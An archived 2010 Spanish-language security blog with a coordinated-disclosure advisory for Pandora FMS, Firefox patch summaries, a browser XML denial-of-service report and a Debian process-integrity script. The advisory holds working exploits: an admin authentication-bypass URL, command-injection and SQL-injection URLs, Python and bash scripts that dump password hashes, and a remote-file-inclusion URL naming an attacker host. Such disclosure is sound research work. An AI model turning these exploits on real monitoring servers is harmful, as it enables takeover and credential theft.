Sunday, 12 December 2010
Último artículo y advisory publicado en 2010
Quería compartir con vosotros un par de enlaces, el primero de ellos es un artículo que escribí hace un par de meses aproximadamente en 48Bits sobre un análisis desde el punto de vista de seguridad de cómo trabaja Microsoft IIS 6 y ASP junto con ciertos componentes de terceros que realizan operaciones sobre carpetas y ficheros, y cómo aprovecharlo para conseguir control total sobre el servidor.
http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/
Por otro lado, la semana pasada publiqué un advisory de seguridad para Pandora FMS, un software de monitorización, que incluye 6 CVE IDs: CVE-2010-4278, CVE-2010-4279, CVE-2010-4280, CVE-2010-4281, CVE-2010-4282, CVE-2010-4283.
Entre las vulnerabilidades descubiertas se encuentra un bug que permite saltarse la autenticación a la aplicación pudiendo acceder como cualquier usuario -incluido admin- sin conocer las credenciales de acceso, así como varias vulnerabilidades de validación de entrada, tales como OS Command Injection, SQL Injection, Blind SQL Injection, inclusión de ficheros remota, ejecución de código PHP arbitrario y multiples inclusiones de ficheros locales, que permitirían a un atacante remoto obtener el control total sobre el servidor objetivo. Estas vulnerabilidades fueron notificadas y corregidas, por lo que en el advisory se dan detalles de cómo obtener la nueva versión no afectada por estos bugs.
He posteado los detalles en el blog pero podeis acceder del mismo modo a través de estos enlaces:
http://www.securityfocus.com/bid/45112
http://secunia.com/advisories/42347
http://seclists.org/fulldisclosure/2010/Nov/326
Haciendo un repaso a las conferencias que se han ido celebrando en 2010, este año ha estado muy interesante y he asistido a varias, entre ellas: RootedCON (Madrid), PH-Neutral (Berlín), OWASP AppSec Ireland (Dublin), LaCon (León), hashdays (Lucerne) e IRISSCON (Dublin). Destacar el nivel impresionante que hubo en las charlas de este año de LaCon. Outstanding!
También ha habido tiempo para disfrutar y viajar un poco, por lo que he ido haciendo algunas escapadas, entre ellas a: Paris, Londres, Bruselas, Amsterdam, Milán, Bérgamo, Venecia, Ginebra, Zurich.... y como no... unas merecidas vacaciones en España! :D . Así que espero que el año que viene sea igual o más productivo y poder cumplir mis objetivos para 2011.
Pandora FMS Authentication Bypass and Multiple Input Validation Vulnerabilities
CVE IDs in this security advisory:
1) Authentication bypass - CVE-2010-4279
2) OS Command Injection - CVE-2010-4278
3) SQL Injection - CVE-2010-4280
4) Blind SQL Injection - CVE-2010-4280
5) Path Traversal - CVE-2010-4281 - CVE-2010-4282 - CVE-2010-4283
[+] Introduction
Pandora FMS (for Pandora Flexible Monitoring System) is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating systems, servers, applications and hardware systems such as firewalls, proxies, databases, web servers or routers.
It can be deployed in almost any operating system. It features remote monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use agents. An agent is available for each platform. It can also monitor hardware systems with a TCP/IP stack, such as load balancers, routers, network switches, printers or firewalls.
This software has several servers that process and get information from different sources, using WMI for gathering remote Windows information, a predictive server, a plug-in server which makes complex user-defined network tests, an advanced export server to replicate data between different sites of Pandora FMS, a network discovery server, and an SNMP Trap console.
Released under the terms of the GNU General Public License, Pandora FMS is free software.
[+] Description and Proof of Concept
1) Authentication bypass - CVE-2010-4279 - CVSS: 10/10
An attacker could access to any account user, including admin, using the "hash login" authentication process. This kind of authentication method works providing a username and a hash. The issue could be exploited remotely providing a username and the md5 of it when $config['loginhash_pwd'] is empty, that in fact is the default configuration.
Snippet of vulnerable code in index.php:
136 // Hash login process
137 if (! isset ($config['id_user']) && isset ($_GET["loginhash"])) {
138 $loginhash_data = get_parameter("loginhash_data", "");
139 $loginhash_user = get_parameter("loginhash_user", "");
140
141 if ($loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) {
142 logon_db ($loginhash_user, $_SERVER['REMOTE_ADDR']);
143 $_SESSION['id_usuario'] = $loginhash_user;
144 $config["id_user"] = $loginhash_user;
Proof of concept:
http://servername/pandora_console/index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1
Got it! admin! :)
By default, any installation of this software allows unauthenticated attackers to perform an authentication bypass and a privilege escalation to admin.
1.1) Additionally, a manual modification in order to use the hash_hmac function instead of the weak statement md5 ( $string . $KEY) is encouraged for security purposes.
Snippet of code (index.php, version 3.1.1):
145 // Hash login process
(...)
150 if ($config["loginhash_pwd"] != "" && $loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) {
In line 150, use hash_hmac("sha256",$loginhash_user,$config["loginhash_pwd"]), instead of md5($lioginhash_user.$config["loginhash_pwd"])
2) OS Command Injection - CVE-2010-4278 - CVSS 9/10
The layout parameter in file operation/agentes/networkmap.php is not properly filtered and allows an attacker to inject OS commands.
Snippet of vulnerable code (file operation/agentes/networkmap.php):
32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
...
162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng -o".$filename_img." ".$filename_dot;
163 $result = system ($cmd);
PoC:
http://servername/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;
http://servername/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;
If we use vulnerability #1 (that permits bypass the authentication system and login as admin) with this issue, the CVSS will be 10/10.
3) SQL Injection - CVE-2010-4280 - CVSS 8.5/10
The parameter id_group when get_agents_group_json is equal to 1 is vulnerable to SQL Injection attacks.
PoC: http://host/pandora_console/ajax.php?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario
Exploit:
# Pandora Flexible Monitoring System SQL Injection PoC
# Juan Galiana Lara
# Gets the list of users and password from the database
#
#configure cookie&host before use it
#usage
#python sqlinj_users.py
#admin:75b756ff2785ea8bb9ae02c13b6a71f1
#...
import json
import urllib2
headers = {"Cookie": "PHPSESSID=a4s3nf1tqv2fau8s6qhi6rutp9dahe9o"}
url = "http://HOST/pandora_console/ajax.php"
url+= "?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1"
url+= "/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario"
req = urllib2.Request(url,headers=headers)
resp = urllib2.urlopen(req)
users = json.read(resp.read())
for user in users:
print(user["id_agente"]+":"+user["nombre"])
The fix to these kind of issues was the implementation of a generic filter against sql injection. A proper fix is planned for a major version.
4) Blind SQL Injection - CVE-2010-4280 - CVSS: 8.5/10
The parameter group_id of operation/agentes/estado_agente.php is vulnerable to blind sql injection.
PoC: http://host/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=24%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,1,1%29%29=49%20and%20id_user=0x61646d696e%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281
Exploit:
#!/bin/bash
# Pandora Flexible Monitoring System Blind SQL Injection PoC
# Juan Galiana Lara
# Gets the md5 hash password from a specific user
#
#configure host,cookie&group_id before use it
#usage
#$ ./getpassword.sh
#74b444ff2785ea8bb9ae02c13b6a71f1
HOST="HOST"
TARGET_USER="0x61646d696e" #admin
PATTERN="Interval"
COOKIE="rq842tci6e5ib7t918c6sv1ml4"
CHARSET=(0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z)
GROUP_ID=2
j=1
while [[ $j -lt 33 ]]; do
i=0
while [[ $i -lt ${#CHARSET[@]} ]]; do
c=$(printf '%d' "'${CHARSET[$i]}")
URL="http://$HOST/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=$GROUP_ID%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,$j,1%29%29=$c%20and%20id_user=$TARGET_USER%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281";
curl $URL --cookie "PHPSESSID=$COOKIE" 2> /dev/null | grep -q $PATTERN;
if [ $? -eq 0 ]; then echo -n ${CHARSET[$i]}; break; fi;
let i++
done;
if [[ $i -eq ${#CHARSET[@]} ]]; then echo "Something went wrong!"; exit 1; fi
let j++;
done
echo
exit 0
The fix to these kind of issues was the implementation of a generic filter against sql injection. A proper fix is planned for a major version.
5) Path Traversal:
5.1 - PHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) - CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10
Parameter 'page' of ajax.php is not properly sanitizing user-supplied input. The function safe_url_extraclean is filtering ':' character, and it doesn't allow to use the string "http://" to create urls, but allows '/' character and an attacker could reference remote resources via Windows UNC files, using //servername//resource/file
Note that the first check in safe_url_extraclean is filtering '://', so we can bypass the filter easily doing http://http://url, and it only strip the first protocol://. However, the last preg_replace strips the : character.
Proof of concept:
UNC: http://servername/pandora_console/ajax.php?page=//server/share/test
As well, ajax.php allows to include any php file in the disk
filesystem: http://servername/pandora_console/ajax.php?page=../../../../../directory/file
Character is not allowed due safe_url_extraclean function filtering, and is not possible to include other files distinct that php files, but still allows . and / characters.
5.2 - PHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283 - CVSS 7.9/10
An attacker can inject arbitrary PHP code and execute it remotely due argv[1] parameter is not filtered in file pandora_diag.php.
PoC:
http://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php
Note: that issue needs register_globals set to On to be exploitable.
5.3 - Path traversal & Local file inclusion vulnerabilities - CVE-2010-4282 - CVSS 6.8/10
An attacker can include arbitrary files of the filesystem via id parameter in file pandora_help.php.
Snippet of vulnerable code:
24 $id = get_parameter ('id');
25
26 /* Possible file locations */
27 $files = array ($config["homedir"]."/include/help/".$config["language"]."/help_".$id.".php",
28 $config["homedir"].ENTERPRISE_DIR."/include/help/".$config["language"]."/help_".$id.".php",
29 $config["homedir"].ENTERPRISE_DIR."/include/help/en/help_".$id.".php",
30 $config["homedir"]."/include/help/en/help_".$id.".php");
31 $help_file = '';
32 foreach ($files as $file) {
33 if (file_exists ($file)) {
34 $help_file = $file;
35 break;
36 }
37 }
...
62 require_once ($help_file);
Proof of concept:
http://servername/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini
This code is platform dependent bug, you can read more at http://seclists.org/fulldisclosure/2010/Jul/137
Only works in windows systems, an attacker can include local file using ../ characters due parameter id is not filtered
If magic_quotes_gpc is Off, arbitrary files can be included, like boot.ini using NULL character (), if not, only php files are allowed
5.4 - Path traversal & Arbitrary write and delete files - CVE-2010-4282 - CVSS 8.0/10
In file operation/agentes/networkmap.php the 'layout' parameter is handled in an insecure way and it is used to write and delete files on the filesystem.
An attacker could use this parameter to write in arbitrary paths and even remove files.
Snippet of vulnerable code:
32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
...
157 $fh = @fopen ($filename_dot, 'w');
158 if ($fh === false) {
159 $result = false;
160 } else {
161 fwrite ($fh, $graph);
162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng -o".$filename_img." ".$filename_dot;
163 $result = system ($cmd);
164 fclose ($fh);
165 unlink ($filename_dot);
166 }
...
178 require ($filename_map);
Character sequences '../' could be used to write files (due -o parameter in lines 162 and 163), as well as potentially remove files (line 157, 161 and 165) or include them (line 178)
As well like in 5.3 this issue is only exploitable in windows environments because the same reason.
[+] Impact
An attacker can execute commands of the operating system, inject remote code in the context of the application, get arbitrary files from the filesystem or extract any data of the database including passwords and confidential information about the monitored network/systems. Also it is possible to bypass the authentication or scale privileges to became admin, gaining full control of the web application and web server. These vulnerabilities have a high impact to the confidentiality, integrity, and availability of the system.
[+] Systems affected
Versions prior and including 3.1 of Pandora FMS are affected
[+] Solution
Apply the security fix for version 3.1: http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download
Or upgrade to version 3.1.1 from http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/3.1.1/
[+] Timeline
Ago 2010: First contact to vendor
Ago 2010: Confirmation of vendor
Sept 2010: Second contact: SQL Injection vulnerabilities
Sept 2010: Confirmation that the fix will be released on October
Oct 2010: PandoraFMS security patch for 3.1 version released
Oct 2010: Request for CVE numbers
Nov 2010: PandoraFMS version 3.1.1 released
Nov 2010: Disclosure of this advisory
[+] References
Official PandoraFMS site: http://pandorafms.org/
SourceForge PandoraFMS site: http://sourceforge.net/projects/pandora/
Wikipedia entry about PandoraFMS: http://en.wikipedia.org/wiki/Pandora_FMS
Common Vulnerability Scoring System (CVSS) v2 calculator: http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2
Common Vulnerabilities and Exposures (CVE): http://cve.mitre.org/
[+] Credits
These vulnerabilities has been discovered by Juan Galiana Lara - @jgaliana - http://juangaliana.blogspot.com/
Links:
http://www.securityfocus.com/bid/45112
http://secunia.com/advisories/42347
http://seclists.org/fulldisclosure/2010/Nov/326
Wednesday, 21 July 2010
Mozilla Firefox 3.6.7 soluciona varias vulnerabilidades críticas
Fixed in Firefox 3.6.7
MFSA 2010-47 Cross-origin data leakage from script filename in error messages
MFSA 2010-46 Cross-domain data theft using CSS
MFSA 2010-45 Multiple location bar spoofing vulnerabilities
MFSA 2010-44 Characters mapped to U+FFFD in 8 bit encodings cause subsequent character to vanish
MFSA 2010-43 Same-origin bypass using canvas context
MFSA 2010-42 Cross-origin data disclosure via Web Workers and importScripts
MFSA 2010-41 Remote code execution using malformed PNG image
MFSA 2010-40 nsTreeSelection dangling pointer remote code execution vulnerability
MFSA 2010-39 nsCSSValue::Array index integer overflow
MFSA 2010-38 Arbitrary code execution using SJOW and fast native function
MFSA 2010-37 Plugin parameter EnsureCachedAttrParamArrays remote code execution vulnerability
MFSA 2010-36 Use-after-free error in NodeIterator
MFSA 2010-35 DOM attribute cloning remote code execution vulnerability
MFSA 2010-34 Miscellaneous memory safety hazards (rv:1.9.2.7/ 1.9.1.11)
Haz click en el enlace de cada vulnerabilidad para obtener los detalles técnicos.
Actualización:
Fixed in Firefox 3.6.8
MFSA 2010-48 Dangling pointer crash regression from plugin parameter array fix
Fixed in Firefox 3.6.9
MFSA 2010-63Information leak via XMLHttpRequest statusText
MFSA 2010-62Copy-and-paste or drag-and-drop into designMode document allows XSS
MFSA 2010-61UTF-7 XSS by overriding document charset using <object> type attribute
MFSA 2010-59SJOW creates scope chains ending in outer object
MFSA 2010-58Crash on Mac using fuzzed font in data: URL
MFSA 2010-57Crash and remote code execution in normalizeDocument
MFSA 2010-56Dangling pointer vulnerability in nsTreeContentView
MFSA 2010-55XUL tree removal crash and remote code execution
MFSA 2010-54Dangling pointer vulnerability in nsTreeSelection
MFSA 2010-53Heap buffer overflow in nsTextFrameUtils::TransformText
MFSA 2010-52Windows XP DLL loading vulnerability
MFSA 2010-51Dangling pointer vulnerability using DOM plugin array
MFSA 2010-50Frameset integer overflow vulnerability
MFSA 2010-49Miscellaneous memory safety hazards (rv:1.9.2.9/ 1.9.1.12)
Update it! Check it out: http://www.mozilla.com/
Last release available is 3.6.10
Wednesday, 7 July 2010
XML Denial of Service sin parchear en Firefox 3.6.6 / 4beta1
En la época que estuve trabajando en Internet Security Auditors en Barcelona, escribí un advisory sobre una bug que afectaba a Apple Safari, Opera y Mozilla Firefox.
Se contactó con todos ellos (a principios de año) para enviarles el informe, y poco después Opera y Safari sacaban una nueva versión que corregía el fallo. A día de hoy Mozilla todavía no ha resuelto el bug.
Respecto a Opera podeis descargar la versión 10.60, y en cuanto a Safari la version 5, últimas versiones de ambos navegadores. (Las últimas versiones afectadas fueron Opera 10.10 y Safari 4.0.5)
El caso que me interesa comentar es el de Mozilla Firefox, el informe que se envió contenia información a cerca de como reproducir el bug. Copio algunas partes del mismo:
Descripción:
The XML parser of the browsers Safari, Firefox and Opera are affected by a Stack Overflow (Stack Exhaustion) due to incorrect handling of XML files, resulting in a remote denial of service, crashing the affected users browser.
Proof of Concept:
$ perl -e 'print "<
(Opera crashes at ~7K, Safari at ~9K and Firefox at ~30K)
Aqui se puede ver con más detalle lo que sucede:
+ Safari 4.0.4 on Mac OS X 10.6:
$ gdb /Applications/Safari.app/Contents/MacOS/Safari
GNU gdb 6.3.50-20050815 (Apple version gdb-1346) (Fri Sep 18 20:40:51 UTC 2009)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin"...Reading symbols for shared libraries .......................... done
(gdb) r
Starting program: /Applications/Safari.app/Contents/MacOS/Safari
Reading symbols for shared libraries .+++++++++++++++++++++++++......................................................................................................... done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries .. done
Reading symbols for shared libraries .. done
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00007fff5f3ffff0
0x00007fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically ()
(gdb) where 10
#0 0x00007fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically ()
#1 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#2 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#3 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#4 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#5 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#6 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#7 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#8 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#9 0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
(More stack frames follow...)
(gdb) i f
Stack level 0, frame at 0x7fff5f4000c0:
rip = 0x7fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically(int, int, int, bool, int&, int&, int&, int&); saved rip 0x7fff861e2cdd
called by frame at 0x7fff5f400230
Arglist at 0x7fff5f4000b8, args:
Locals at 0x7fff5f4000b8, Previous frame's sp is 0x7fff5f4000c0
Saved registers:
rbx at 0x7fff5f400088, rbp at 0x7fff5f4000b0, r12 at 0x7fff5f400090, r13 at 0x7fff5f400098, r14 at 0x7fff5f4000a0, r15 at 0x7fff5f4000a8, rip at 0x7fff5f4000b8
(gdb) i r
rax 0x7fff5fbfd2c4 140734799794884
rbx 0x1 1
rcx 0xe 14
rdx 0x12 18
rsi 0x0 0
rdi 0x11a0c1420 4731966496
rbp 0x7fff5f4000b0 0x7fff5f4000b0
rsp 0x7fff5f3fff50 0x7fff5f3fff50
r8 0x1 1
r9 0x7fff5fbfd2cc 140734799794892
r10 0x11a231000 4733472768
r11 0x7fff861e94f0 140735443539184
r12 0x100500d68 4300213608
r13 0x119c1d8a8 4727101608
r14 0x11a0c1420 4731966496
r15 0x7fff5f4001d8 140734791418328
rip 0x7fff861e2784 0x7fff861e2784
eflags 0x10206 66054
cs 0x27 39
ss 0x0 0
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
Addition information:
Process: Safari [51732]
Path: /Applications/Safari.app/Contents/MacOS/Safari
Identifier: com.apple.Safari
Version: 4.0.4 (6531.21.10)
Build Info: WebBrowser-65312110~2
Code Type: X86-64 (Native)
Parent Process: launchd [828]
Date/Time: 2010-02-06 12:53:16.908 +0100
OS Version: Mac OS X 10.6.2 (10C540)
Report Version: 6
(...)
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_PROTECTION_FAILURE at 0x00007fff5f3ffff8
Crashed Thread: 0 Dispatch queue: com.apple.main-thread
+ Firefox 3.6 on Windows XP SP2:
(dfc.f14): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0332e348 ecx=054d0550 edx=036ee700 esi=00000000 edi=0332e348
eip=100f1338 esp=00033000 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Archivos de programa\Mozilla Firefox\xul.dll -
xul!NS_Realloc_P+0x3f68:
100f1338 56 push esi
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> !analyze -v
(...)
FAULTING_IP:
xul!NS_Realloc_P+3f68
100f1338 56 push esi
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 100f1338 (xul!NS_Realloc_P+0x00003f68)
ExceptionCode: c00000fd (Stack overflow)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00032ffc
FAULTING_THREAD: 00000f14
PROCESS_NAME: firefox.exe
ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.
MODULE_NAME: xul
FAULTING_MODULE: 7c910000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 4b5101ce
ERROR_CODE: (NTSTATUS) 0xc00000fd - No es posible crear una nueva p gina de seguridad para la pila.
EXCEPTION_CODE: (NTSTATUS) 0xc00000fd - No es posible crear una nueva p gina de seguridad para la pila.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00032ffc
DEFAULT_BUCKET_ID: STACK_OVERFLOW
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_WRONG_SYMBOLS
LAST_CONTROL_TRANSFER: from 00000000 to 100f1338
TACK_TEXT:
00000000 00000000 00000000 00000000 00000000 xul!NS_Realloc_P+0x3f68
(...)
El impacto es claro: un atacante remoto puede causar una denegación de servicio a otros usuarios simplemente con visitar un sitio web.
Cuando se envió el informe, desde Mozilla abrieron un bug en su bugzilla, para más tarde marcarlo como duplicado de este otro bug: (CVE-2009-1232) Stack overflow using overly-deep XML tree (DoS), relacionado con XUL, y que más tarde se vió que era un problema generico en el parser XML.
Este bug anda danzando desde 2009, atribuido a Wojciech Pawlikowski, y que según los informes inicialmente afectaba a Firefox 3.0.x, podeis ver los detalles en:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1232
http://www.securityfocus.com/bid/34522
El problema viene porque este bug sigue sin parchear y es perfectamente reproducible en la última versión estable de Firefox 3.6.6 e incluso en la versión beta1 de Firefox 4.
Lo que me ha extrañado es que cerca de arreglarlo, en la beta1 de Firefox 4, es posible reproducir un crash con unos ~20K tags XML anidados, cuando Firefox 3.6.6 necesita ~30K.
Para reproducir el bug simplemente podeis usar:
O visitar uno de estos dos PoCs:
Firefox Remote DoS. Si haces click aqui usando Firefox 3.6.6 / 4beta1 el navegador se cerrará.
Firefox Remote DoS. Si haces click aqui usando Firefox 3.6.6 / 4beta1 el navegador se cerrará.
Espero que para la versión final de Firefox 4 incluyan un fix para este bug.
Tuesday, 29 June 2010
Firefox 4 roadmap
Actualizado(2): Se ha publicado la segunda versión beta de Firefox 4, más detalles en: Firefox 4 b2
Actualizado(3): Se ha publicado la tercera versión beta de Firefox 4, más detalles en: Firefox 4 b3 Impresionante el video sobre multi-touch Experimenting with multi-touch
Últimamente estoy siguiendo de cerca el desarrollo de Firefox, y simplemente quiero compartir una nota rápida para dejaros un par de enlaces acerca del roadmap para Firefox 4.
Firefox 4 será publicado con muchas novedades, entre ellas Gecko 2. Pégale un vistazo al video o las slides para enterarte de todas ellas.
Una de estas nuevas características ya está incluida en la actual versión de Firefox, crash protection es una medida que mejora la seguridad y estabilidad del navegador ejecutando los plugins en procesos diferentes, de tal manera, que si falla el plugin no afecte a todo el nevagador. Esta nueva mejora estaba inicialmente planteada para Firefox 3.7, pero ha sido incluida en Firefox 3.6.4 (3.7 fue renombrado a 3.6.4). Ayer mismo, publicaron un update (Firefox 3.6.6) para actualizar el timeout ante la detección de cuelgues de 10 a 45 segundos por temas de compatibilidad con equipos lentos. Esta es la última versión estable actualmente (la version 3.6.5 se la han saltado).
Además, el update de la versión 3.6.4 (now 3.6.6) corrige las siguientes vulnerabilidades (click en el MFSA ID para obtener más información):
Vulnerabilities fixed in Firefox 3.6.4
MFSA 2010-33 User tracking across sites using Math.random()
MFSA 2010-32 Content-Disposition: attachment ignored if Content-Type: multipart also present
MFSA 2010-31 focus() behavior can be used to inject or steal keystrokes
MFSA 2010-30 Integer Overflow in XSLT Node Sorting
MFSA 2010-29 Heap buffer overflow in nsGenericDOMDataNode::SetTextInternal
MFSA 2010-28 Freed object reuse across plugin instances
MFSA 2010-26 Crashes with evidence of memory corruption (rv:1.9.2.4/ 1.9.1.10)
Impact key:
- Critical: Vulnerability can be used to run attacker code and install software, requiring no user interaction beyond normal browsing.
- High: Vulnerability can be used to gather sensitive data from sites in other windows or inject data or code into those sites, requiring no more than normal browsing actions.
- Moderate: Vulnerabilities that would otherwise be High or Critical except they only work in uncommon non-default configurations or require the user to perform complicated and/or unlikely steps.
- Low: Minor security vulnerabilities such as Denial of Service attacks, minor data leaks, or spoofs. (Undetectable spoofs of SSL indicia would have "High" impact because those are generally used to steal sensitive data intended for other sites.)
Actualizar es más que recomendable. Seguiremos al tanto de nuevas noticias en cuanto a Firefox 4, a día de hoy se puede probar una versión alpha en http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-central/ o http://nightly.mozilla.org/
Aqui os dejo los enlaces a la presentación por parte de los responsables de Mozilla de Firefox 4:
Ver el video (necesitais un navegador con soporte ogg, Firefox por ejemplo)
Slides:
O descargar las slides en fichero PDF
El video y la presentación fue originalmente publicado en la web del speaker (Mike Beltzner de Mozilla): http://beltzner.ca/mike/2010/05/10/firefox-4-fast-powerful-and-empowering/
Tuesday, 20 April 2010
Script para comprobar la integridad de procesos en Debian GNU/Linux
Desde que me uní al Ethical Hacking Team de IBM y me vine a vivir a Dublín, he andado bastante liado y no he dedicado mucho tiempo a postear en el blog ni en twitter, cosa que voy a intentar cambiar poniendome rápidamente al día. Por aqui todo anda de maravilla :)
Hoy, quiero compartir un script que escribí cuando leí un post de @secbydefault sobre cómo comprobar la integridad de procesos en sistemas basados en rpm (tales como RedHat o CentOS). Lo que hice básicamente es migrar el script que proponían de sistemas RedHat a Debian debido a que varias personas dejaron comentarios en el post interesadas en una versión para Debian y a mi también me interesaba disponer de una versión funcional que funcionara correctamente en mi sistema.
Lo primero es comentar que haciendo unas pruebas, el script propuesto por @secbydefault falla en ciertas situaciones. Si un atacante en lugar de modificar un binario lo que hace es eliminarlo del sistema de ficheros directamente, el script no parsea adecuadamente los nombres de los binarios. Esta sería la entrada que tomaría el script en caso de que eliminaramos un binario:
$ perl procy.pl/sbin/init(deleted) /usr/sbin/apache2/bin/bash(deleted) /usr/sbin/apache2/bin/bash(...)etc
Como se puede ver el script extrae como nombre de binario en caso del proceso de apache2 "(deleted) /usr/sbin/apache2" lo cual es incorrecto. Este fallo, podemos arreglarlo aplicando este fix; modificar las siguientes dos líneas (correspondientes según este link a la 22 y 24):
$status =~ /-> (.*)$/;
my $binary = $1 ;
a:
$status =~ /->( \(.*\))? (.*)$/;
my $binary = $2 ;
Nota: Avisé a @secbydefault por aquel entonces sobre estos detalles y quedaron en actualizarlo pero nunca lo hicieron.
UPDATE: ya han actualizado la entrada en SbD, gracias!
En mi caso, para migrarlo a Debian he traducido el script de perl a bash script, ya que me siento más cómodo con este lenguaje, y usando bash ha quedado bien sencillo :)
El objetivo es encontrar procesos ejecutandose en la máquina cuyos binarios se hayan modificado, para conseguirlo el funcionamiento básico del sistema es en primer lugar listar los procesos de la máquina mediante ps, a través de /proc/[pid]/exe extraer la ruta del binario en el filesystem y realizar un dpkg -S para ver en que paquete se encuentra, para seguidamente aplicar debsums y comprobar la integridad del fichero.
El script para debian hace uso del paquete debsums, el cual se encarga de comprobar la integridad de los ficheros instalados en el sistema por los paquetes mediante sumas de comprobación MD5.
Un paso necesario antes de usar este script es instalar el paquete debsums y generar las firmas md5, para esto tan sencillo como lanzar el siguiente comando desde usuario root:
apt-get install debsums && debsums_gen
Veamos un ejemplo de ejecución en el cual he eliminado (de forma intencionada) el binario /usr/sbin/apache2 y he modificado el binario /usr/sbin/named:
$./procy.sh
El proceso [ 11569 /var/ossec/bin/ossec-maild ] no pertenece a ningún paquete
El proceso [ 11573 /var/ossec/bin/ossec-execd ] no pertenece a ningún paquete
El proceso [ 11577 /var/ossec/bin/ossec-analysisd ] no pertenece a ningún paquete
El proceso [ 11580 /var/ossec/bin/ossec-logcollector ] no pertenece a ningún paquete
El proceso [ 11584 /var/ossec/bin/ossec-syscheckd ] no pertenece a ningún paquete
El proceso [ 11588 /var/ossec/bin/ossec-monitord ] no pertenece a ningún paquete
El proceso [ 23557 /usr/sbin/named ] ha sufrido modificaciones en su paquete base (bind9): /usr/sbin/named FAILED
El proceso [ 23815 /usr/sbin/apache2 ] ha sufrido modificaciones en su paquete base (apache2-mpm-prefork): debsums: can't open apache2-mpm-prefork file /usr/sbin/apache2 (No existe el fichero o el directorio)
